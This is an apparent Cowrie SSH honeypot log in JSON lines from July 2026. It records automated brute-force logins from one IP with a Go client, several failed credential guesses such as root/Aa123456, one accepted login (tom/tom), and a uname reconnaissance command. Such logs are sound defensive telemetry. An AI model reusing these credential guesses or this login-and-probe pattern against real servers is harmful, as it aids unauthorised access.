{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:27.145727Z","src_ip":"45.156.87.253","session":"0854afcadc50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:27.396111Z","src_ip":"45.156.87.253","session":"0854afcadc50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.0","message":"Connection lost after 20.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:28.190716Z","src_ip":"162.144.58.21","session":"21cc85605572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:28.494441Z","src_ip":"45.156.87.253","session":"0854afcadc50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34762,"dst_ip":"10.17.0.5","dst_port":22,"session":"ead4b5619fba","protocol":"ssh","message":"New connection: 45.156.87.253:34762 (10.17.0.5:22) [session: ead4b5619fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:30.396185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:30.400671Z","src_ip":"45.156.87.253","session":"ead4b5619fba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:30.482598Z","src_ip":"45.156.87.253","session":"ead4b5619fba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"modzmodz","message":"login attempt [user1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:30.727741Z","src_ip":"45.156.87.253","session":"ead4b5619fba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:31.812435Z","src_ip":"45.156.87.253","session":"ead4b5619fba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"75.9","message":"Connection lost after 75.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:33.482789Z","src_ip":"162.144.58.21","session":"ea9ef718af5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34778,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1867423f89a","protocol":"ssh","message":"New connection: 45.156.87.253:34778 (10.17.0.5:22) [session: f1867423f89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:33.903120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:33.906192Z","src_ip":"45.156.87.253","session":"f1867423f89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:33.989745Z","src_ip":"45.156.87.253","session":"f1867423f89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test","message":"login attempt [tester/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:34.234522Z","src_ip":"45.156.87.253","session":"f1867423f89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:35.318720Z","src_ip":"45.156.87.253","session":"f1867423f89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34782,"dst_ip":"10.17.0.5","dst_port":22,"session":"89051ccecb16","protocol":"ssh","message":"New connection: 45.156.87.253:34782 (10.17.0.5:22) [session: 89051ccecb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:37.251866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:37.255805Z","src_ip":"45.156.87.253","session":"89051ccecb16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:37.335822Z","src_ip":"45.156.87.253","session":"89051ccecb16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:37.577210Z","src_ip":"45.156.87.253","session":"89051ccecb16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:38.659950Z","src_ip":"45.156.87.253","session":"89051ccecb16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44858,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ff62eb34cde","protocol":"ssh","message":"New connection: 45.156.87.253:44858 (10.17.0.5:22) [session: 9ff62eb34cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:40.575433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:40.698968Z","src_ip":"45.156.87.253","session":"9ff62eb34cde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:40.701707Z","src_ip":"45.156.87.253","session":"9ff62eb34cde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:41.052019Z","src_ip":"45.156.87.253","session":"9ff62eb34cde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:42.134460Z","src_ip":"45.156.87.253","session":"9ff62eb34cde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44874,"dst_ip":"10.17.0.5","dst_port":22,"session":"52692d121d39","protocol":"ssh","message":"New connection: 45.156.87.253:44874 (10.17.0.5:22) [session: 52692d121d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:44.114196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:44.118040Z","src_ip":"45.156.87.253","session":"52692d121d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:44.199178Z","src_ip":"45.156.87.253","session":"52692d121d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad123","message":"login attempt [milad/milad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:44.443869Z","src_ip":"45.156.87.253","session":"52692d121d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:45.527020Z","src_ip":"45.156.87.253","session":"52692d121d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44880,"dst_ip":"10.17.0.5","dst_port":22,"session":"97150ef034e1","protocol":"ssh","message":"New connection: 45.156.87.253:44880 (10.17.0.5:22) [session: 97150ef034e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:47.468534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:47.471274Z","src_ip":"45.156.87.253","session":"97150ef034e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:47.551502Z","src_ip":"45.156.87.253","session":"97150ef034e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:47.793079Z","src_ip":"45.156.87.253","session":"97150ef034e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:48.875817Z","src_ip":"45.156.87.253","session":"97150ef034e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33618,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b6552be62bc","protocol":"ssh","message":"New connection: 45.156.87.253:33618 (10.17.0.5:22) [session: 2b6552be62bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:50.881380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:50.884999Z","src_ip":"45.156.87.253","session":"2b6552be62bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:50.966383Z","src_ip":"45.156.87.253","session":"2b6552be62bc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:51.214106Z","src_ip":"45.156.87.253","session":"2b6552be62bc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:51.413678Z","src_ip":"45.156.87.253","session":"2b6552be62bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:51.415338Z","src_ip":"45.156.87.253","session":"2b6552be62bc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:51.498059Z","src_ip":"45.156.87.253","session":"2b6552be62bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:51.501070Z","src_ip":"45.156.87.253","session":"2b6552be62bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33622,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cb65573b80f","protocol":"ssh","message":"New connection: 45.156.87.253:33622 (10.17.0.5:22) [session: 7cb65573b80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:54.210192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:54.212630Z","src_ip":"45.156.87.253","session":"7cb65573b80f","protocol":"ssh"}
